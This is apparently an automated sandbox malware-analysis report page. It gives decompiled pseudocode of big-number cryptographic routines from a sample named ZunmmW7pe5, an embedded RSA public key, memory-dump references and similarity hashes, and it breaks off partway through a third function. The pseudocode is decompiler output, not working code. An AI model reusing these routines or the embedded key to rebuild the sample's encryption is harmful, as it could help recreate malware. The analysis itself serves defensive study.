				r13d = 0;
				 *(_t326 + 0x20) = 1;
				 *(_t326 + 0x28) = _t357;
				_t360 = __r9;
				 *(_t326 + 0x30) = _t357;
				_t320 = __r8;
				 *(_t326 + 0x38) = 1;
				_t364 = __rdx;
				 *(_t326 + 0x40) = _t357;
				_t355 = __rcx;
				 *(_t326 + 0x48) = _t357;
				if (__r9 == 0) goto 0xe372c876;
				if (__rcx != 0) goto 0xe372c712;
				goto 0xe372cb8c;
				_t190 =  *__rcx;
				 *((long long*)(_t326 + 0x60)) = _t323 + 0x58;
				 *((long long*)(_t323 + 0x58)) = 1;
				 *(_t326 + 0x50) = 1;
				 *((long long*)(_t326 + 0x58)) = 1;
				if (_t190 <= 0) goto 0xe372c781;
				if (E00007FF77FF7E37202D0(0xffffbf80, __rcx, _t326 + 0x50) < 0) goto 0xe372c766;
				if (E00007FF77FF7E37206A0(__rbx, _t326 + 0x20, __rcx, __rdi, _t320, _t323, _t326 + 0x50, _t351, _t363, _t359) != 0) goto 0xe372c7a2;
				 *(_t326 + 0x20) = _t190;
				goto 0xe372c7aa;
				if (E00007FF77FF7E37206A0(_t262, _t326 + 0x20, _t326 + 0x50, _t317, _t320, _t323, _t355, _t351, _t357, _t354) != 0) goto 0xe372c7a2;
				_t191 =  ~_t190;
				 *(_t326 + 0x20) = _t191;
				goto 0xe372c7aa;
				_t119 = E00007FF77FF7E3720580(__esi, _t262, _t326 + 0x20, _t355, _t320, _t326 + 0x50);
				_t121 =  ==  ? _t191 :  *(_t326 + 0x20);
				 *(_t326 + 0x20) =  ==  ? _t191 :  *(_t326 + 0x20);
				if (_t119 != 0) goto 0xe372cb0b;
				_t192 =  *_t360;
				if (_t192 *  *_t320 <= 0) goto 0xe372c7fa;
				if (E00007FF77FF7E37202D0(_t192 *  *_t320, _t360, _t320) < 0) goto 0xe372c7e1;
				if (E00007FF77FF7E37206A0(_t262, _t326 + 0x38, _t360, _t317, _t320, _t323, _t320, _t351) != 0) goto 0xe372c819;
				 *(_t326 + 0x38) = _t192;
				goto 0xe372c821;
				if (E00007FF77FF7E37206A0(_t262, _t326 + 0x38, _t320, _t317, _t320, _t323, _t360, _t351) != 0) goto 0xe372c819;
				_t193 =  ~_t192;
				 *(_t326 + 0x38) = _t193;
				goto 0xe372c821;
				_t127 = E00007FF77FF7E3720580(__esi, _t262, _t326 + 0x38, _t360, _t320, _t320);
				_t129 =  ==  ? _t193 :  *(_t326 + 0x38);
				 *(_t326 + 0x38) =  ==  ? _t193 :  *(_t326 + 0x38);
				if (_t127 != 0) goto 0xe372cb0b;
				if (E00007FF77FF7E3722430(__esi, _t127, _t262, _t326 + 0x38, _t326 + 0x38, _t320, _t326 + 0x20, _t351) != 0) goto 0xe372cb0b;
				 *(_t323 - 0x68) = _t357;
				 *((long long*)(_t323 - 0x30)) = _t323 - 0x68;
				 *(_t323 - 0x40) = 1;
				 *((long long*)(_t323 - 0x38)) = 1;
				if (E00007FF77FF7E3720380(_t326 + 0x38, _t323 - 0x40) == 0) goto 0xe372c876;
				goto 0xe372cb28;
				_t361 =  *((intOrPtr*)(_t323 + 0x60));
				if (_t361 == 0) goto 0xe372c9f4;
				if (_t364 == 0) goto 0xe372cb23;
				_t194 =  *_t364;
				 *((long long*)(_t326 + 0x78)) = _t323 - 0x60;
				 *((long long*)(_t323 - 0x60)) = 1;
				 *(_t326 + 0x68) = 1;
				 *((long long*)(_t326 + 0x70)) = 1;
				if (_t194 <= 0) goto 0xe372c8ff;
				if (E00007FF77FF7E37202D0(_t131, _t364, _t326 + 0x68) < 0) goto 0xe372c8e4;
				if (E00007FF77FF7E37206A0(_t262, _t326 + 0x20, _t364, _t317, _t320, _t323, _t326 + 0x68, _t351) != 0) goto 0xe372c920;
				 *(_t326 + 0x20) = _t194;
				goto 0xe372c928;
				if (E00007FF77FF7E37206A0(_t262, _t326 + 0x20, _t326 + 0x68, _t317, _t320, _t323, _t364, _t351) != 0) goto 0xe372c920;
				_t195 =  ~_t194;
				 *(_t326 + 0x20) = _t195;
				goto 0xe372c928;
				_t135 = E00007FF77FF7E3720580(__esi, _t262, _t326 + 0x20, _t364, _t320, _t326 + 0x68);
				_t137 =  ==  ? _t195 :  *(_t326 + 0x20);
				 *(_t326 + 0x20) =  ==  ? _t195 :  *(_t326 + 0x20);
				if (_t135 != 0) goto 0xe372cb0b;
				_t196 =  *_t361;
				if (_t196 *  *_t320 <= 0) goto 0xe372c978;
				if (E00007FF77FF7E37202D0(_t196 *  *_t320, _t361, _t320) < 0) goto 0xe372c95f;
				if (E00007FF77FF7E37206A0(_t262, _t326 + 0x38, _t361, _t317, _t320, _t323, _t320, _t351) != 0) goto 0xe372c997;
				 *(_t326 + 0x38) = _t196;
				goto 0xe372c99f;
				if (E00007FF77FF7E37206A0(_t262, _t326 + 0x38, _t320, _t317, _t320, _t323, _t361, _t351) != 0) goto 0xe372c997;
				_t197 =  ~_t196;
				 *(_t326 + 0x38) = _t197;
				goto 0xe372c99f;
				_t143 = E00007FF77FF7E3720580(_t200, _t262, _t326 + 0x38, _t361, _t320, _t320);
				_t145 =  ==  ? _t197 :  *(_t326 + 0x38);
				 *(_t326 + 0x38) =  ==  ? _t197 :  *(_t326 + 0x38);
				if (_t143 != 0) goto 0xe372cb0b;
				if (E00007FF77FF7E3722430(_t200, _t143, _t262, _t326 + 0x38, _t326 + 0x38, _t320, _t326 + 0x20, _t351) != 0) goto 0xe372cb0b;
				 *(_t323 - 0x58) = _t357;
				 *((long long*)(_t323 - 0x18)) = _t323 - 0x58;
				 *(_t323 - 0x28) = 1;
				 *((long long*)(_t323 - 0x20)) = 1;
				if (E00007FF77FF7E3720380(_t326 + 0x38, _t323 - 0x28) == 0) goto 0xe372c9f4;
				goto 0xe372cb28;
				if ( *((intOrPtr*)(_t323 + 0x68)) == 0) goto 0xe372cb28;
				if (_t355 == 0) goto 0xe372cb23;
				if (_t364 == 0) goto 0xe372cb23;
				if (E00007FF77FF7E3721620(_t197, _t200, _t262, _t326 + 0x20,  *((intOrPtr*)(_t323 + 0x68)), _t317, _t320, _t364, _t352, _t355, _t361, _t364) != 0) goto 0xe372cb0b;
				_t198 =  *(_t326 + 0x20);
				 *((long long*)(_t323 - 0x70)) = _t323 - 0x50;
				 *((long long*)(_t323 - 0x50)) = 1;
				 *(_t323 - 0x80) = 1;
				 *((long long*)(_t323 - 0x78)) = 1;
				if (_t198 <= 0) goto 0xe372ca9e;
				if (E00007FF77FF7E37202D0(_t148, _t326 + 0x20, _t323 - 0x80) < 0) goto 0xe372ca82;
				if (E00007FF77FF7E37206A0(_t262, _t326 + 0x20, _t326 + 0x20, _t317, _t320, _t323, _t323 - 0x80, _t351) != 0) goto 0xe372cabb;
				 *(_t326 + 0x20) = _t198;
				goto 0xe372cabf;
				if (E00007FF77FF7E37206A0(_t262, _t326 + 0x20, _t323 - 0x80, _t317, _t320, _t323, _t326 + 0x20, _t351) != 0) goto 0xe372cabb;
				_t199 =  ~_t198;
				 *(_t326 + 0x20) = _t199;
				goto 0xe372cabf;
				_t152 = E00007FF77FF7E3720580(_t200, _t262, _t326 + 0x20, _t326 + 0x20, _t320, _t323 - 0x80);
				_t154 =  ==  ? _t199 :  *(_t326 + 0x20);
				 *(_t326 + 0x20) =  ==  ? _t199 :  *(_t326 + 0x20);
				if (_t152 != 0) goto 0xe372cb0b;
				if (E00007FF77FF7E3722430(_t200, _t152, _t262, _t326 + 0x20, _t326 + 0x20, _t320, _t355, _t351) != 0) goto 0xe372cb0b;
				 *(_t323 - 0x48) = _t357;
				 *_t323 = _t323 - 0x48;
				 *(_t323 - 0x10) = 1;
				 *((long long*)(_t323 - 8)) = 1;
				if (E00007FF77FF7E3720380(_t326 + 0x20, _t323 - 0x10) == 0) goto 0xe372cb28;
				goto 0xe372cb28;
				if (0xffffbe00 == 0xffffbe00) goto 0xe372cb28;
				if (0xffffbe00 == 0xffffbf80) goto 0xe372cb28;
				goto 0xe372cb28;
				if ( *(_t326 + 0x30) == 0) goto 0xe372cb59;
				if ( *(_t326 + 0x28) * 8 == 0) goto 0xe372cb4f;
				_t259 =  *0xe3754598; // 0x7ff7e373b860
				 *_t259(_t322);
				E00007FF77FF7E373FEDC(_t259,  *(_t326 + 0x30));
				if ( *(_t326 + 0x48) == 0) goto 0xe372cb8a;
				if ( *(_t326 + 0x40) * 8 == 0) goto 0xe372cb80;
				_t261 =  *0xe3754598; // 0x7ff7e373b860
				 *_t261();
				E00007FF77FF7E373FEDC(_t261,  *(_t326 + 0x48));
				return 0xffffbf80;
			}

0x7ff7e372c6a0
0x7ff7e372c6a0
0x7ff7e372c6a0
0x7ff7e372c6a0
0x7ff7e372c6a0
0x7ff7e372c6a0
0x7ff7e372c6a5
0x7ff7e372c6aa
0x7ff7e372c6b8
0x7ff7e372c6bd
0x7ff7e372c6c4
0x7ff7e372c6c7
0x7ff7e372c6cf
0x7ff7e372c6d4
0x7ff7e372c6d7
0x7ff7e372c6dc
0x7ff7e372c6df
0x7ff7e372c6e7
0x7ff7e372c6ea
0x7ff7e372c6ef
0x7ff7e372c6f2
0x7ff7e372c6fd
0x7ff7e372c706
0x7ff7e372c70d
0x7ff7e372c712
0x7ff7e372c718
0x7ff7e372c71d
0x7ff7e372c725
0x7ff7e372c72d
0x7ff7e372c738
0x7ff7e372c74b
0x7ff7e372c75e
0x7ff7e372c760
0x7ff7e372c764
0x7ff7e372c777
0x7ff7e372c779
0x7ff7e372c77b
0x7ff7e372c77f
0x7ff7e372c78e
0x7ff7e372c79b
0x7ff7e372c79e
0x7ff7e372c7a4
0x7ff7e372c7aa
0x7ff7e372c7b4
0x7ff7e372c7c8
0x7ff7e372c7d9
0x7ff7e372c7db
0x7ff7e372c7df
0x7ff7e372c7f0
0x7ff7e372c7f2
0x7ff7e372c7f4
0x7ff7e372c7f8
0x7ff7e372c805
0x7ff7e372c812
0x7ff7e372c815
0x7ff7e372c81b
0x7ff7e372c839
0x7ff7e372c843
0x7ff7e372c84b
0x7ff7e372c854
0x7ff7e372c85b
0x7ff7e372c86a
0x7ff7e372c871
0x7ff7e372c876
0x7ff7e372c87d
0x7ff7e372c886
0x7ff7e372c88c
0x7ff7e372c893
0x7ff7e372c898
0x7ff7e372c8a0
0x7ff7e372c8a8
0x7ff7e372c8b3
0x7ff7e372c8c9
0x7ff7e372c8dc
0x7ff7e372c8de
0x7ff7e372c8e2
0x7ff7e372c8f5
0x7ff7e372c8f7
0x7ff7e372c8f9
0x7ff7e372c8fd
0x7ff7e372c90c
0x7ff7e372c919
0x7ff7e372c91c
0x7ff7e372c922
0x7ff7e372c928
0x7ff7e372c932
0x7ff7e372c946
0x7ff7e372c957
0x7ff7e372c959
0x7ff7e372c95d
0x7ff7e372c96e
0x7ff7e372c970
0x7ff7e372c972
0x7ff7e372c976
0x7ff7e372c983
0x7ff7e372c990
0x7ff7e372c993
0x7ff7e372c999
0x7ff7e372c9b7
0x7ff7e372c9c1
0x7ff7e372c9c9
0x7ff7e372c9d2
0x7ff7e372c9d9
0x7ff7e372c9e8
0x7ff7e372c9ef
0x7ff7e372c9fb
0x7ff7e372ca04
0x7ff7e372ca0d
0x7ff7e372ca24
0x7ff7e372ca2a
0x7ff7e372ca32
0x7ff7e372ca3b
0x7ff7e372ca43
0x7ff7e372ca4a
0x7ff7e372ca54
0x7ff7e372ca66
0x7ff7e372ca7a
0x7ff7e372ca7c
0x7ff7e372ca80
0x7ff7e372ca94
0x7ff7e372ca96
0x7ff7e372ca98
0x7ff7e372ca9c
0x7ff7e372caa7
0x7ff7e372cab4
0x7ff7e372cab7
0x7ff7e372cabd
0x7ff7e372cad5
0x7ff7e372cadb
0x7ff7e372cae3
0x7ff7e372caec
0x7ff7e372caf3
0x7ff7e372cb02
0x7ff7e372cb09
0x7ff7e372cb11
0x7ff7e372cb19
0x7ff7e372cb21
0x7ff7e372cb30
0x7ff7e372cb42
0x7ff7e372cb44
0x7ff7e372cb4d
0x7ff7e372cb54
0x7ff7e372cb61
0x7ff7e372cb73
0x7ff7e372cb75
0x7ff7e372cb7e
0x7ff7e372cb85
0x7ff7e372cbac

Strings

-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo, xrefs: 00007FF7E372C6B0

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo
API String ID: 0-2951210353
Opcode ID: b6bf25c17c5f044493cda9e01f3031709c79a30c1bfe3c1289b7857b68a20be9
Instruction ID: fa8c3fc00922c39e67fd0d8b4537629294192554c25a60a033a06158129f73a7
Opcode Fuzzy Hash: b6bf25c17c5f044493cda9e01f3031709c79a30c1bfe3c1289b7857b68a20be9
Instruction Fuzzy Hash: C0E1B6B2708B4346E790AA65D4C07AABBA0FF98388F800137FA8D67699DF7CD514C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E372CBB0 Relevance: 1.5, Strings: 1, Instructions: 299
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00007FF77FF7E372CBB0(void* __ecx, void* __edi, void* __esi, long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, void* __r9, void* __r10, void* __r11) {
				void* __rbp;
				void* __r12;
				void* __r14;
				void* __r15;
				void* _t130;
				void* _t140;
				signed int _t171;
				signed int _t172;
				signed int _t173;
				signed int _t174;
				long long* _t231;
				long long* _t233;
				long long _t234;
				void* _t288;
				void* _t291;
				void* _t293;
				signed int* _t294;
				void* _t296;
				void* _t297;
				void* _t313;
				void* _t316;
				void* _t317;
				signed int _t319;
				void* _t321;
				signed int _t322;
				void* _t324;
				void* _t325;

				_t314 = __r11;
				_t313 = __r10;
				_t234 = __rbx;
				_t175 = __esi;
				 *((long long*)(_t296 + 8)) = __rbx;
				 *((long long*)(_t296 + 0x10)) = __rsi;
				 *((long long*)(_t296 + 0x18)) = __rdi;
				_t294 = _t296 - 0x60;
				_t297 = _t296 - 0x160;
				_t322 = _t294[0x2c];
				r13d = 0;
				 *(_t297 + 0x20) = 1;
				_t291 = __r9;
				 *(_t297 + 0x28) = _t319;
				_t317 = __r8;
				 *(_t297 + 0x30) = _t319;
				_t325 = __rdx;
				 *(_t297 + 0x38) = 1;
				_t288 = __rcx;
				 *(_t297 + 0x40) = _t319;
				 *(_t297 + 0x48) = _t319;
				if (__rdx == 0) goto 0xe372cc86;
				if (__r8 == 0) goto 0xe372cc86;
				if (__rcx == 0) goto 0xe372cd33;
				if (E00007FF77FF7E3721620(__edi, __esi, __rbx, _t297 + 0x20, __rdx, __rcx, __r9, __r8, __r11, __r8, _t322, __rdx, _t324, _t321) != 0) goto 0xe372cffe;
				_t294[0x2e] = 1;
				 *(_t294 - 0x38) =  &(_t294[0x2e]);
				 *(_t294 - 0x48) = 1;
				 *((long long*)(_t294 - 0x40)) = 1;
				if (E00007FF77FF7E3720380(_t288, _t294 - 0x48) <= 0) goto 0xe372cff9;
				if (E00007FF77FF7E3720380(_t297 + 0x20, _t288) != 0) goto 0xe372cff9;
				if (_t288 == 0) goto 0xe372cd33;
				if (_t291 == 0) goto 0xe372cd33;
				if (_t322 == 0) goto 0xe372cd33;
				_t294[0x30] = 1;
				 *(_t294 - 0x20) =  &(_t294[0x30]);
				 *(_t294 - 0x30) = 1;
				 *((long long*)(_t294 - 0x28)) = 1;
				if (E00007FF77FF7E3720380(_t291, _t294 - 0x30) <= 0) goto 0xe372cff9;
				 *((long long*)(_t294 - 0x80)) = 1;
				 *((long long*)(_t294 - 8)) = _t294 - 0x80;
				 *(_t294 - 0x18) = 1;
				 *((long long*)(_t294 - 0x10)) = 1;
				if (E00007FF77FF7E3720380(_t322, _t294 - 0x18) <= 0) goto 0xe372cff9;
				if (E00007FF77FF7E3720380(_t291, _t288) >= 0) goto 0xe372cff9;
				if (E00007FF77FF7E3720380(_t322, _t288) >= 0) goto 0xe372cff9;
				if (_t325 == 0) goto 0xe372cffe;
				if (_t317 == 0) goto 0xe372cffe;
				if (_t291 == 0) goto 0xe372cffe;
				if (_t322 == 0) goto 0xe372cffe;
				 *((long long*)(_t294 - 0x78)) = 1;
				_t294[4] = _t294 - 0x78;
				 *_t294 = 1;
				_t294[2] = 1;
				if (E00007FF77FF7E3720380(_t325, _t294) <= 0) goto 0xe372cff9;
				 *((long long*)(_t294 - 0x70)) = 1;
				_t294[0xa] = _t294 - 0x70;
				_t294[6] = 1;
				_t294[8] = 1;
				if (E00007FF77FF7E3720380(_t317,  &(_t294[6])) <= 0) goto 0xe372cff9;
				if (E00007FF77FF7E3721620(__edi, __esi, _t234, _t297 + 0x20, _t291, _t288, _t291, _t322, _t314, _t317, _t322, _t325, _t319, _t316) != 0) goto 0xe372cffe;
				_t171 =  *(_t297 + 0x20);
				 *((long long*)(_t297 + 0x60)) = _t294 - 0x68;
				 *((long long*)(_t294 - 0x68)) = 1;
				 *(_t297 + 0x50) = 1;
				 *((long long*)(_t297 + 0x58)) = 1;
				if (_t171 <= 0) goto 0xe372ce51;
				if (E00007FF77FF7E37202D0(_t126, _t297 + 0x20, _t297 + 0x50) < 0) goto 0xe372ce34;
				if (E00007FF77FF7E37206A0(_t234, _t297 + 0x20, _t297 + 0x20, _t288, _t291, _t294, _t297 + 0x50, _t313) != 0) goto 0xe372ce6f;
				 *(_t297 + 0x20) = _t171;
				goto 0xe372ce77;
				if (E00007FF77FF7E37206A0(_t234, _t297 + 0x20, _t297 + 0x50, _t288, _t291, _t294, _t297 + 0x20, _t313) != 0) goto 0xe372ce6f;
				_t172 =  ~_t171;
				 *(_t297 + 0x20) = _t172;
				goto 0xe372ce77;
				_t130 = E00007FF77FF7E3720580(__esi, _t234, _t297 + 0x20, _t297 + 0x20, _t291, _t297 + 0x50);
				_t132 =  ==  ? _t172 :  *(_t297 + 0x20);
				 *(_t297 + 0x20) =  ==  ? _t172 :  *(_t297 + 0x20);
				if (_t130 != 0) goto 0xe372cffe;
				r8d = 1;
				if (E00007FF77FF7E37209F0( ==  ? _t172 :  *(_t297 + 0x20), _t234, _t297 + 0x38, _t325, _t291, _t294, _t297 + 0x50, _t293) != 0) goto 0xe372cffe;
				if (E00007FF77FF7E3722430(__esi, E00007FF77FF7E37209F0( ==  ? _t172 :  *(_t297 + 0x20), _t234, _t297 + 0x38, _t325, _t291, _t294, _t297 + 0x50, _t293), _t234, _t297 + 0x20, _t297 + 0x20, _t291, _t297 + 0x38, _t313) != 0) goto 0xe372cffe;
				 *(_t294 - 0x60) = _t319;
				_t294[0x10] = _t294 - 0x60;
				_t294[0xc] = 1;
				_t294[0xe] = 1;
				if (E00007FF77FF7E3720380(_t297 + 0x20,  &(_t294[0xc])) != 0) goto 0xe372cff9;
				if (E00007FF77FF7E3721620(_t172, _t175, _t234, _t297 + 0x20, _t291, _t288, _t291, _t322, _t314, _t317, _t322, _t325) != 0) goto 0xe372cffe;
				_t173 =  *(_t297 + 0x20);
				 *((long long*)(_t297 + 0x78)) = _t294 - 0x58;
				 *((long long*)(_t294 - 0x58)) = 1;
				 *(_t297 + 0x68) = 1;
				 *((long long*)(_t297 + 0x70)) = 1;
				if (_t173 <= 0) goto 0xe372cf77;
				if (E00007FF77FF7E37202D0(_t136, _t297 + 0x20, _t297 + 0x68) < 0) goto 0xe372cf5a;
				if (E00007FF77FF7E37206A0(_t234, _t297 + 0x20, _t297 + 0x20, _t288, _t291, _t294, _t297 + 0x68, _t313) != 0) goto 0xe372cf95;
				 *(_t297 + 0x20) = _t173;
				goto 0xe372cf99;
				if (E00007FF77FF7E37206A0(_t234, _t297 + 0x20, _t297 + 0x68, _t288, _t291, _t294, _t297 + 0x20, _t313) != 0) goto 0xe372cf95;
				_t174 =  ~_t173;
				 *(_t297 + 0x20) = _t174;
				goto 0xe372cf99;
				_t140 = E00007FF77FF7E3720580(_t175, _t234, _t297 + 0x20, _t297 + 0x20, _t291, _t297 + 0x68);
				_t142 =  ==  ? _t174 :  *(_t297 + 0x20);
				 *(_t297 + 0x20) =  ==  ? _t174 :  *(_t297 + 0x20);
				if (_t140 != 0) goto 0xe372cffe;
				r8d = 1;
				if (E00007FF77FF7E37209F0( ==  ? _t174 :  *(_t297 + 0x20), _t234, _t297 + 0x38, _t317, _t291, _t294, _t297 + 0x68) != 0) goto 0xe372cffe;
				if (E00007FF77FF7E3722430(_t175, E00007FF77FF7E37209F0( ==  ? _t174 :  *(_t297 + 0x20), _t234, _t297 + 0x38, _t317, _t291, _t294, _t297 + 0x68), _t234, _t297 + 0x20, _t297 + 0x20, _t291, _t297 + 0x38, _t313) != 0) goto 0xe372cffe;
				 *(_t294 - 0x50) = _t319;
				_t294[0x16] = _t294 - 0x50;
				_t294[0x12] = 1;
				_t294[0x14] = 1;
				if (E00007FF77FF7E3720380(_t297 + 0x20,  &(_t294[0x12])) == 0) goto 0xe372cffe;
				if ( *(_t297 + 0x30) == 0) goto 0xe372d02f;
				if ( *(_t297 + 0x28) * 8 == 0) goto 0xe372d025;
				_t231 =  *0xe3754598; // 0x7ff7e373b860
				 *_t231();
				E00007FF77FF7E373FEDC(_t231,  *(_t297 + 0x30));
				if ( *(_t297 + 0x48) == 0) goto 0xe372d060;
				if ( *(_t297 + 0x40) * 8 == 0) goto 0xe372d056;
				_t233 =  *0xe3754598; // 0x7ff7e373b860
				 *_t233();
				E00007FF77FF7E373FEDC(_t233,  *(_t297 + 0x48));
				if (0xffffbe00 == 0) goto 0xe372d072;
				if (0xffffbe00 != 0xffffbe00) goto 0xe372d074;
				return 0xffffbe00;
			}

0x7ff7e372cbb0
0x7ff7e372cbb0
0x7ff7e372cbb0
0x7ff7e372cbb0
0x7ff7e372cbb0
0x7ff7e372cbb5
0x7ff7e372cbba
0x7ff7e372cbc8
0x7ff7e372cbcd
0x7ff7e372cbd4
0x7ff7e372cbdb
0x7ff7e372cbde
0x7ff7e372cbe6
0x7ff7e372cbe9
0x7ff7e372cbee
0x7ff7e372cbf1
0x7ff7e372cbf6
0x7ff7e372cbf9
0x7ff7e372cc01
0x7ff7e372cc04
0x7ff7e372cc0c
0x7ff7e372cc14
0x7ff7e372cc19
0x7ff7e372cc1e
0x7ff7e372cc32
0x7ff7e372cc3f
0x7ff7e372cc4e
0x7ff7e372cc55
0x7ff7e372cc5c
0x7ff7e372cc6b
0x7ff7e372cc80
0x7ff7e372cc89
0x7ff7e372cc92
0x7ff7e372cc9b
0x7ff7e372cca8
0x7ff7e372ccb7
0x7ff7e372ccbe
0x7ff7e372ccc5
0x7ff7e372ccd4
0x7ff7e372ccde
0x7ff7e372ccea
0x7ff7e372ccf1
0x7ff7e372ccf8
0x7ff7e372cd07
0x7ff7e372cd1a
0x7ff7e372cd2d
0x7ff7e372cd36
0x7ff7e372cd3f
0x7ff7e372cd48
0x7ff7e372cd51
0x7ff7e372cd5b
0x7ff7e372cd67
0x7ff7e372cd6e
0x7ff7e372cd75
0x7ff7e372cd84
0x7ff7e372cd8e
0x7ff7e372cd9a
0x7ff7e372cda1
0x7ff7e372cda8
0x7ff7e372cdb7
0x7ff7e372cdd1
0x7ff7e372cdd7
0x7ff7e372cddf
0x7ff7e372cde9
0x7ff7e372cdf1
0x7ff7e372cdf9
0x7ff7e372ce04
0x7ff7e372ce17
0x7ff7e372ce2c
0x7ff7e372ce2e
0x7ff7e372ce32
0x7ff7e372ce47
0x7ff7e372ce49
0x7ff7e372ce4b
0x7ff7e372ce4f
0x7ff7e372ce5b
0x7ff7e372ce68
0x7ff7e372ce6b
0x7ff7e372ce71
0x7ff7e372ce77
0x7ff7e372ce8e
0x7ff7e372ceac
0x7ff7e372ceb6
0x7ff7e372cebe
0x7ff7e372cec7
0x7ff7e372cece
0x7ff7e372cedd
0x7ff7e372cef7
0x7ff7e372cefd
0x7ff7e372cf05
0x7ff7e372cf0f
0x7ff7e372cf17
0x7ff7e372cf1f
0x7ff7e372cf2a
0x7ff7e372cf3d
0x7ff7e372cf52
0x7ff7e372cf54
0x7ff7e372cf58
0x7ff7e372cf6d
0x7ff7e372cf6f
0x7ff7e372cf71
0x7ff7e372cf75
0x7ff7e372cf81
0x7ff7e372cf8e
0x7ff7e372cf91
0x7ff7e372cf97
0x7ff7e372cf99
0x7ff7e372cfb0
0x7ff7e372cfca
0x7ff7e372cfd0
0x7ff7e372cfd8
0x7ff7e372cfe1
0x7ff7e372cfe8
0x7ff7e372cff7
0x7ff7e372d006
0x7ff7e372d018
0x7ff7e372d01a
0x7ff7e372d023
0x7ff7e372d02a
0x7ff7e372d037
0x7ff7e372d049
0x7ff7e372d04b
0x7ff7e372d054
0x7ff7e372d05b
0x7ff7e372d062
0x7ff7e372d070
0x7ff7e372d094

Strings

-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo, xrefs: 00007FF7E372CBC0

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID:
String ID: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo
API String ID: 0-2951210353
Opcode ID: 2c261d5a867b4f2914aea67c90db89fc3835d82047c333ddedd7f23bfea169ae
Instruction ID: 37a527739d70c6ee6bdab67c4c94d9b30d4170440344e14614c2c1447350123d
Opcode Fuzzy Hash: 2c261d5a867b4f2914aea67c90db89fc3835d82047c333ddedd7f23bfea169ae
Instruction Fuzzy Hash: A9D186B260878385E7A0EF51D4807AABBA4FB5C388F800136EE4C67A99EF7CD554C751

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E373DAF8 Relevance: 1.4, Strings: 1, Instructions: 199
COMMONCrypto

Download Yara Rule

C-Code - Quality: 63%

			E00007FF77FF7E373DAF8(void* __rax, long long __rbx, long long __rcx, long long __rsi, long long __rbp, char _a8, char _a10, long long _a16, long long _a24, long long _a32) {
				long long _v40;
				void* __rdi;
				char _t66;
				void* _t68;
				unsigned int _t104;
				intOrPtr _t105;
				unsigned int _t106;
				signed char _t113;
				void* _t118;
				void* _t122;
				void* _t123;
				void* _t124;
				void* _t161;
				void* _t173;
				void* _t175;
